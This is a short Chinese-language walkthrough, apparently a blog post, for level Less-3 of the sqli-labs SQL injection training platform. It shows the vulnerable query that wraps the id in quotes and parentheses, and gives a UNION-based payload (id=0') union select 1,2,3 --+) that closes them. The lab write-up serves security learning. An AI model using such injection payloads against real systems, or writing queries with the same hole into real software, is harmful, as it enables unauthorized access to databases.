sql-labs SQL注入平台-第3关Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

查看源代码发现我们输入的id值被括号(‘’)包围起来了，这样导致我们输入的值都会被当作括号里的id
所以我们需要在第一关的引号的基础上加上括号让它完成闭合符合现在的格式：
id=0’) union select 1,2,3 --+

这样输入到后端的SQL语句就是：
$sql=“SELECT * FROM users WHERE id=(‘0’) union select 1,2,3 --+') LIMIT 0,1”;
成功使用union联合查询
其他的步骤就和第一关类似了：https://blog.csdn.net/Onlyone_1314/article/details/125983747。